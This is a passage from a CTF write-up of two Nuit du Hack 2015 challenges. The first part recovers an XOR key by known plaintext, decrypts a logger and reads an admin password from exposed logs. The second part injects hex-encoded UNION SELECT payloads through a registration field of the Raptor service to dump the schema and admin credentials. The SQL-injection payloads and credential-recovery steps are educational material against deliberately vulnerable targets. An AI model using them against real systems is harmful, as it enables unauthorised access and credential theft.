<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">blocks</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">plain</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">KEY</span><span class="p">,</span> <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">plain</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">KEY</span><span class="p">,</span> <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">blocks</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]))</span>
<span class="n">fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">plain</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s1">'0'</span><span class="p">))</span>
<span class="nb">print</span> <span class="s1">'Content-Type: text/html'</span>
<span class="nb">print</span> <span class="s1">'</span><span class="se">\n</span><span class="s1"><!DOCTYPE html>
</span><span class="se">\n</span><span class="s1"><html></html></span><span class="se">\n</span><span class="s1"> <head></head></span><span class="se">\n</span><span class="s1"> <meta charset="utf-8"/></span><span class="se">\n</span><span class="s1"> <title>Updator - Update system</title></span><span class="se">\n</span><span class="s1"> <link href="static/font-awesome/css/font-awesome.css" rel="stylesheet"/></span><span class="se">\n</span><span class="s1"> <link href="static/css/style.css" rel="stylesheet"/></span><span class="se">\n</span><span class="s1"> </span><span class="se">\n</span><span class="s1"> <body></body></span><span class="se">\n</span><span class="s1"> <div id="info"></div></span><span class="se">\n</span><span class="s1"> The update managing system is still under construction but will be available soon.</span><span class="se">\n</span><span class="s1"> </span></code></pre></div><span class="se">\n</span><span class="s1"> </span><span class="se">\n</span><span class="s1"></span><span class="se">\n</span><span class="s1">'</span>
<span class="o"><!--</span--><span class="n">code</span><span class="o">></span>
<h3>The private key</h3>
<p>We know the algorithm use to encrypt the <code>log.py.encypted</code> file: a XOR cipher by
bloc of 8 characters where the preceding bloc is also XOR with the current one.
We just need the key. Bruteforcing 8 characters will be too long, we need an
other method. The <code>log.py.encypted</code> file being python code will probably start
by something like <code>import sys</code>.</p>
<p>First of all lets take a closer look to <code>log.py.encrypted</code>:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@rootine updator</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">hexdump</span><span class="w"> </span><span class="o">-</span><span class="n">C</span><span class="w"> </span><span class="nf">log</span><span class="p">.</span><span class="n">py</span><span class="p">.</span><span class="n">encrypted</span>
<span class="mi">00000000</span><span class="w"> </span><span class="mi">5</span><span class="n">f</span><span class="w"> </span><span class="mi">36</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="mi">0</span><span class="n">b</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">1</span><span class="n">b</span><span class="w"> </span><span class="mi">1</span><span class="n">b</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="mi">45</span><span class="w"> </span><span class="mi">6</span><span class="n">e</span><span class="w"> </span><span class="o">|</span><span class="n">_60</span><span class="p">..</span><span class="n">V</span><span class="p">........</span><span class="n">En</span><span class="o">|</span>
<span class="mi">00000010</span><span class="w"> </span><span class="mi">34</span><span class="w"> </span><span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="mi">1</span><span class="n">a</span><span class="w"> </span><span class="mi">38</span><span class="w"> </span><span class="mi">35</span><span class="w"> </span><span class="mi">7</span><span class="n">f</span><span class="w"> </span><span class="mi">2</span><span class="n">a</span><span class="w"> </span><span class="mi">4</span><span class="n">f</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="mi">68</span><span class="w"> </span><span class="mi">7</span><span class="n">a</span><span class="w"> </span><span class="mi">7</span><span class="n">b</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="mi">6</span><span class="n">b</span><span class="w"> </span><span class="mi">4</span><span class="n">f</span><span class="w"> </span><span class="o">|</span><span class="mf">4..85</span><span class="p">.</span><span class="o">*</span><span class="n">O</span><span class="ss">"hz{(2kO|</span>
<span class="ss">00000020 33 39 30 7c 35 71 3e 4f 25 2e 1f 7f 23 36 6a 14 |390|5q>O%...#6j.|</span>
<span class="ss">00000030 3a 4f 55 11 72 34 6c 47 4c 67 61 14 77 7f 29 59 |:OU.r4lGLga.w.)Y|</span>
<span class="ss">00000040 1f 48 49 1f 62 57 2f 0a 09 33 6d 1e 75 55 65 16 |.HI.bW/..3m.uUe.|</span>
<span class="ss">00000050 58 40 58 09 61 05 2d 04 03 7e 34 4d 60 46 78 04 |X@X.a.-..~4M`Fx.|</span>
<span class="ss">00000060 42 4a 06 4d 38 5e 54 57 54 31 66 09 69 5c 52 46 |BJ.M8^TWT1f.i\RF|</span>
<span class="ss">00000070 03 19 43 03 79 13 11 15 08 62 24 42 7b 1e 12 15 |..C.y....b$B{...|</span>
<span class="ss">00000080 61 1c 17 01 2a 19 14 4e 1b 08 10 3a 1f 72 60 11 |a...*..N...:.r`.|</span>
<span class="ss">00000090 0d 20 24 2c 46 34 27 16 5e 0f 0d 25 52 38 65 04 |. $,F4'.^..%R8e.|</span>
<span class="ss">000000a0 1c 31 63 35 4c 7e 22 0e 02 43 0a 7d 1d 29 77 18 |.1c5L~"</span><span class="p">..</span><span class="n">C</span><span class="p">.</span><span class="err">}</span><span class="p">.)</span><span class="n">w</span><span class="p">.</span><span class="o">|</span>
<span class="mi">000000</span><span class="n">b0</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="mi">76</span><span class="w"> </span><span class="mi">2</span><span class="n">b</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">09</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="mi">5</span><span class="n">b</span><span class="w"> </span><span class="mi">4</span><span class="n">b</span><span class="w"> </span><span class="mi">50</span><span class="w"> </span><span class="mi">0</span><span class="n">d</span><span class="w"> </span><span class="mi">4</span><span class="n">b</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="mi">58</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">5</span><span class="n">d</span><span class="w"> </span><span class="mi">4</span><span class="n">f</span><span class="w"> </span><span class="o">|</span><span class="n">Fv</span><span class="o">+</span><span class="n">t</span><span class="p">.</span><span class="ss">"[KP.K0X ]O|</span>
<span class="ss">000000c0 0f 22 63 74 46 72 1e 52 11 1b 42 63 52 3e 59 4c |."</span><span class="n">ctFr</span><span class="p">.</span><span class="n">R</span><span class="p">..</span><span class="n">BcR</span><span class="o">></span><span class="n">YL</span><span class="o">|</span>
<span class="mi">000000</span><span class="n">d0</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="mi">37</span><span class="w"> </span><span class="mi">58</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="mi">54</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="mi">64</span><span class="w"> </span><span class="mi">55</span><span class="w"> </span><span class="mi">71</span><span class="w"> </span><span class="mi">44</span><span class="w"> </span><span class="mi">6</span><span class="n">f</span><span class="w"> </span><span class="o">|</span><span class="n">Bl</span><span class="err">"</span><span class="w"> </span><span class="n">B7X</span><span class="p">.</span><span class="n">TV</span><span class="p">.</span><span class="n">dUqDo</span><span class="o">|</span>
<span class="mf">000000e0</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="mi">2</span><span class="n">d</span><span class="w"> </span><span class="mi">71</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="mi">73</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="mi">3</span><span class="n">c</span><span class="w"> </span><span class="mi">54</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="mi">11</span><span class="w"> </span><span class="mi">64</span><span class="w"> </span><span class="mi">13</span><span class="w"> </span><span class="mi">35</span><span class="w"> </span><span class="mi">4</span><span class="n">a</span><span class="w"> </span><span class="mi">38</span><span class="w"> </span><span class="o">|</span><span class="n">B</span><span class="o">-</span><span class="n">q</span><span class="w"> </span><span class="p">.</span><span class="n">sB</span><span class="o"><</span><span class="n">TV</span><span class="p">.</span><span class="n">d</span><span class="mf">.5</span><span class="n">J8</span><span class="o">|</span>
<span class="mi">000000</span><span class="n">f0</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">64</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">65</span><span class="w"> </span><span class="mi">4</span><span class="n">a</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="mi">37</span><span class="w"> </span><span class="mi">6</span><span class="n">e</span><span class="w"> </span><span class="mi">55</span><span class="w"> </span><span class="mi">62</span><span class="w"> </span><span class="mi">45</span><span class="w"> </span><span class="mi">4</span><span class="n">d</span><span class="w"> </span><span class="mi">54</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">78</span><span class="w"> </span><span class="mi">73</span><span class="w"> </span><span class="o">|</span><span class="p">.</span><span class="n">d</span><span class="o">%</span><span class="n">eJ07nUbEMTuxs</span><span class="o">|</span>
<span class="mi">00000100</span><span class="w"> </span><span class="mi">43</span><span class="w"> </span><span class="mi">4</span><span class="n">e</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">5</span><span class="n">d</span><span class="w"> </span><span class="mi">4</span><span class="n">d</span><span class="w"> </span><span class="mi">77</span><span class="w"> </span><span class="mi">2</span><span class="n">e</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">66</span><span class="w"> </span><span class="mi">5</span><span class="n">b</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="mi">4</span><span class="n">e</span><span class="w"> </span><span class="mi">31</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="mi">37</span><span class="w"> </span><span class="o">|</span><span class="n">CNl</span><span class="err">]</span><span class="n">Mw</span><span class="p">.</span><span class="n">a</span><span class="p">.</span><span class="n">f</span><span class="err">[</span><span class="n">VN1</span><span class="p">(</span><span class="mi">7</span><span class="o">|</span>
<span class="mi">00000110</span><span class="w"> </span><span class="mi">43</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">1</span><span class="n">f</span><span class="w"> </span><span class="mi">36</span><span class="w"> </span><span class="mi">2</span><span class="n">e</span><span class="w"> </span><span class="mi">6</span><span class="n">c</span><span class="w"> </span><span class="mi">06</span><span class="w"> </span><span class="mi">4</span><span class="n">e</span><span class="w"> </span><span class="mi">47</span><span class="w"> </span><span class="mi">59</span><span class="w"> </span><span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">7</span><span class="n">c</span><span class="w"> </span><span class="mi">7</span><span class="n">a</span><span class="w"> </span><span class="o">|</span><span class="n">Cau</span><span class="p">.</span><span class="mf">.6</span><span class="p">.</span><span class="n">l</span><span class="p">.</span><span class="n">NGY</span><span class="p">.</span><span class="n">u</span><span class="o">|</span><span class="n">z</span><span class="o">|</span>
<span class="mi">00000120</span><span class="w"> </span><span class="mi">44</span><span class="w"> </span><span class="mi">7</span><span class="n">c</span><span class="w"> </span><span class="mi">6</span><span class="n">a</span><span class="w"> </span><span class="mi">58</span><span class="w"> </span><span class="mi">55</span><span class="w"> </span><span class="mi">33</span><span class="w"> </span><span class="mi">3</span><span class="n">b</span><span class="w"> </span><span class="mi">7</span><span class="n">d</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="mi">43</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="mi">3</span><span class="n">f</span><span class="w"> </span><span class="mi">69</span><span class="w"> </span><span class="mi">61</span><span class="w"> </span><span class="o">|</span><span class="n">D</span><span class="o">|</span><span class="n">jXU3</span><span class="p">;</span><span class="err">}</span><span class="p">.</span><span class="n">SCQA</span><span class="vm">?</span><span class="n">ia</span><span class="o">|</span>
<span class="mi">00000130</span><span class="w"> </span><span class="mi">45</span><span class="w"> </span><span class="mi">69</span><span class="w"> </span><span class="mi">7</span><span class="n">a</span><span class="w"> </span><span class="mi">1</span><span class="n">d</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="mi">34</span><span class="w"> </span><span class="mi">63</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="mi">49</span><span class="w"> </span><span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">1</span><span class="n">f</span><span class="w"> </span><span class="mi">79</span><span class="w"> </span><span class="mi">37</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="o">|</span><span class="n">Eiz</span><span class="p">.</span><span class="mf">.4</span><span class="n">c2</span><span class="p">.</span><span class="n">SI</span><span class="p">..</span><span class="n">y7</span><span class="o">%|</span>
<span class="mi">00000140</span><span class="w"> </span><span class="mi">1</span><span class="n">c</span><span class="w"> </span><span class="mi">21</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="mi">5</span><span class="n">e</span><span class="w"> </span><span class="mi">5</span><span class="n">e</span><span class="w"> </span><span class="mi">6</span><span class="n">b</span><span class="w"> </span><span class="mi">21</span><span class="w"> </span><span class="mi">66</span><span class="w"> </span><span class="o">|</span><span class="p">.</span><span class="err">!</span><span class="p">.</span><span class="o">^^</span><span class="n">k</span><span class="err">!</span><span class="n">f</span><span class="o">|</span>
<span class="mi">00000148</span>
</code></pre></div>
<p>XOR being a symmetric algorithm we just need to XOR the first octet of the file
with the word <code>import s</code>:</p>
<div class="highlight"><pre><span></span><code>>>> chr(0x5f^ord('i'))
'6'
>>> chr(0x36^ord('m'))
'['
>>> chr(0x30^ord('p'))
'@'
>>> chr(0x0b^ord('o'))
'd'
>>> chr(0x03^ord('r'))
'q'
>>> chr(0x56^ord('t'))
'"'
>>> chr(0x06^ord(' '))
'&'
>>> chr(0x17^ord('s'))
'd'
</code></pre></div>
<p>We decipher the file with the key <strong>6[@dq"&d</strong> and obtain the following first
line:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">satetime</span>
</code></pre></div>
<p>The first line of our file was not <code>import sys</code> but <code>import datetime</code>.</p>
<div class="highlight"><pre><span></span><code>>>> chr(0x17^ord('d'))
's'
</code></pre></div>
<h3>The logs file</h3>
<p>We decipher the file with the key <strong>6[@dq"&s</strong> and obtain the following file:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">datetime</span>
<span class="n">LOG_DIR</span> <span class="o">=</span> <span class="s1">'logs'</span>
<span class="k">class</span> <span class="nc">Logger</span><span class="p">():</span>
<span class="nd">@staticmethod</span>
<span class="k">def</span> <span class="nf">log</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="n">basename</span> <span class="o">=</span> <span class="s1">'</span><span class="si">%s</span><span class="s1">/</span><span class="si">%s</span><span class="s1">_</span><span class="si">%s</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">LOG_DIR</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">date</span><span class="o">.</span><span class="n">today</span><span class="p">()),</span> <span class="n">username</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">basename</span><span class="p">,</span> <span class="s1">'a+'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
<span class="n">fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'[</span><span class="si">%s</span><span class="s1">] Login with password </span><span class="si">%s</span><span class="se">\n</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">today</span><span class="p">()),</span> <span class="n">password</span><span class="p">))</span>
</code></pre></div>
<p>We see that the logs of the application are in a file like
<code>/logs/date_username/</code> with the date in the format YYYY-MM-DD.</p>
<p>We go to the URL updator.challs.nuitduhack.com/logs/2015-04-04_admin to
see the logs:</p>
<div class="highlight"><pre><span></span><code>[2015-04-04 18:49:48.839448] Login with password Mpt2P4sse2Ouf
[2015-04-04 18:49:54.044382] Login with password Mot2P4sse2Ouf
</code></pre></div>
<p>We now have the credentials to log ourself in the interface and get the flag.</p>
<p><strong>Flag: zEpbiUFt5p7m84cxOxN6</strong></p>
<h1>Raptor</h1>
<p><strong>Thank to <a href="https://twitter.com/_plo_">Plo</a> who redact this WRITUP before me.</strong></p>
<p>Misc \ 400 points quals.nuitduhack.com/challenges/view/12</p>
<h2>Statement</h2>
<p>No statement, nothing except a link: raptor.challs.nuitduhack.com:4142</p>
<h2>Challenge</h2>
<p>We connect ourself to the port and the address:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">plo@hyperion Misc</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">nc</span><span class="w"> </span><span class="n">raptor</span><span class="p">.</span><span class="n">challs</span><span class="p">.</span><span class="n">nuitduhack</span><span class="p">.</span><span class="n">com</span><span class="w"> </span><span class="mi">4142</span>
<span class="o">~</span><span class="w"> </span><span class="err">»</span><span class="w"> </span><span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">Raptor</span><span class="o">/</span><span class="mf">1.0</span><span class="w"> </span><span class="n">Information</span><span class="w"> </span><span class="n">Exchange</span><span class="w"> </span><span class="n">Server</span>
<span class="o">~</span><span class="w"> </span><span class="err">»</span><span class="w"> </span><span class="n">You</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">anonymous</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">Read</span><span class="w"> </span><span class="k">only</span><span class="w"> </span><span class="n">access</span><span class="w"> </span><span class="err">!</span>
<span class="n">Available</span><span class="w"> </span><span class="n">commands</span><span class="w"> </span><span class="err">:</span>
<span class="o">+----------+-----------------+-------------------------------+--------------------------------+</span>
<span class="o">|</span><span class="w"> </span><span class="n">Command</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Required</span><span class="w"> </span><span class="n">Access</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Syntax</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Help</span><span class="w"> </span><span class="o">|</span>
<span class="o">+----------+-----------------+-------------------------------+--------------------------------+</span>
<span class="o">|</span><span class="w"> </span><span class="n">AUTH</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">AUTH</span><span class="w"> </span><span class="o">[</span><span class="n">login</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">password</span><span class="o">]</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">Connect</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">an</span><span class="w"> </span><span class="n">account</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">LIST</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">LIST</span><span class="w"> </span><span class="o">[</span><span class="n">maxrecords</span><span class="o">]</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">List</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="n">informations</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="k">SEARCH</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">SEARCH</span><span class="w"> </span><span class="o">[</span><span class="n">pattern</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">maxresults</span><span class="o">]</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">Search</span><span class="w"> </span><span class="n">an</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">RSHELL</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">RSHELL</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Migrate</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">Raptor</span><span class="w"> </span><span class="n">Shell</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">VERSION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">VERSION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Show</span><span class="w"> </span><span class="k">current</span><span class="w"> </span><span class="n">Raptor</span><span class="w"> </span><span class="n">version</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">REGISTER</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">REGISTER</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Register</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">account</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">HELP</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">VERSION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Show</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">help</span><span class="w"> </span><span class="n">menu</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">RIGHTS</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">RIGHTS</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">Print</span><span class="w"> </span><span class="n">your</span><span class="w"> </span><span class="k">current</span><span class="w"> </span><span class="n">rights</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">HISTORY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">HISTORY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Show</span><span class="w"> </span><span class="n">your</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="n">history</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">RESET</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">RESET</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">ROLLBACK</span><span class="w"> </span><span class="err">!</span><span class="w"> </span><span class="p">(</span><span class="n">Reset</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">CTF</span><span class="w"> </span><span class="n">DB</span><span class="p">.)</span><span class="w"> </span><span class="o">|</span>
<span class="o">|</span><span class="w"> </span><span class="n">QUIT</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">guest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">QUIT</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">Close</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">connection</span><span class="p">.</span><span class="w"> </span><span class="o">|</span>
<span class="o">+</span><span class="c1">----------+-----------------+-------------------------------+--------------------------------+</span>
</code></pre></div>
<p>We are connected to the Raptor service as guest.</p>
<p>The output format seems to be a database. A SQL request could return this
output. The Raptor service got 3 level of rights: guest, user and admin and the
only command restricted to the admin right is <code>RSHELL</code>. When continuing to
discover the commands, we notice that the <code>_</code> and <code>%</code> SQL wildcards characters
work directly out of the box:</p>
<div class="highlight"><pre><span></span><code><span class="c">guest ~ $ SEARCH %</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
<span class="c">| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
<span class="c">| Wesley | Eshmaggle | 4412 | admin |</span>
<span class="c">| Yvan | Delacam | 0452 | user |</span>
<span class="c">| Yvon | Payrir | A | user |</span>
<span class="c">| Zlatan | Ibrahimovitch | 5122 | user |</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
<span class="c">guest ~ $ SEARCH _</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
<span class="c">| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
<span class="c">| Wesley | Eshmaggle | 4412 | admin |</span>
<span class="c">| Yvan | Delacam | 0452 | user |</span>
<span class="c">| Yvon | Payrir | A | user |</span>
<span class="c">| Zlatan | Ibrahimovitch | 5122 | user |</span>
<span class="nb">+-----------+---------------+-----------+--------+</span>
</code></pre></div>
<p>Moreover, the user Yvon Payrir as a DESKPHONE <strong>A</strong>.
We create an account to check if we can put directly a letter as DESKPHONE:</p>
<div class="highlight"><pre><span></span><code>guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : TEST
/!\ ERROR ! INVALID DESKPHONE NUMBER !
</code></pre></div>
<p>This is not directly possible, we then used the hexadecimal value of TEST:</p>
<div class="highlight"><pre><span></span><code>guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : 0x54455354
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| a | a | TEST | user |
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
</code></pre></div>
<p>(We can notice that the password is "Encrypted" with 128 ROT13 which is plain
text as ROT13 is symmetric).
We can inject anything in the DESKPHONE filed.</p>
<p>One of the command is <code>HISTORY</code>. This command list the calls history for a given
user. The coincidence is great as we can inject data in the DESKPHONE field:</p>
<div class="highlight"><pre><span></span><code>a ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+------+
| USERNAME | a |
| RIGHTS | user |
| DESKPHONE | TEST |
+-----------+------+
</code></pre></div>
<p>If we put an existing number as DESKPHONE, the <code>HISTORY</code> command show us the
history of an other user. It seems to be a simple SQL injection in hexadecimal.
We try to get some informations about the database (the SQL command is in the
DESKPHONE filed):</p>
<div class="highlight"><pre><span></span><code>guest ~ $ REGISTER
Please fill the informations below :
Login : d
Firstname : d
Lastname : d
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
d ~ $ HISTORY
RAPTOR CALL REPORTING
<span class="k">-</span> CLIENT INFO :
+-----------+-----------------------------------------------------------------------------------------+
| USERNAME | d |
| RIGHTS | user |
| DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns |
+-----------+-----------------------------------------------------------------------------------------+
<span class="k">-</span> CALL HISTORY
+--------------------+---------------------------------------+----------------------------------+----------+
| ID | DATE | DESTINATION | DURATION |
+--------------------+---------------------------------------+----------------------------------+----------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME | None |
| [...] | [...] | [...] | None |
| x_8816665166 | users | id | None |
| x_8816665166 | users | firstname | None |
| x_8816665166 | users | name | None |
| x_8816665166 | users | contact | None |
| x_8816665166 | users | password | None |
| x_8816665166 | users | login | None |
| x_8816665166 | users | rights | None |
+--------------------+---------------------------------------+----------------------------------+----------+
</code></pre></div>
<p>We get the admin password:</p>
<div class="highlight"><pre><span></span><code><span class="c">guest ~ $ REGISTER</span>
<span class="c">Please fill the informations below :</span>
<span class="c">Login : i</span>
<span class="c">Firstname : i</span>
<span class="c">Lastname : i</span>
<span class="c">Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27</span>
<span class="c">Password : i</span>
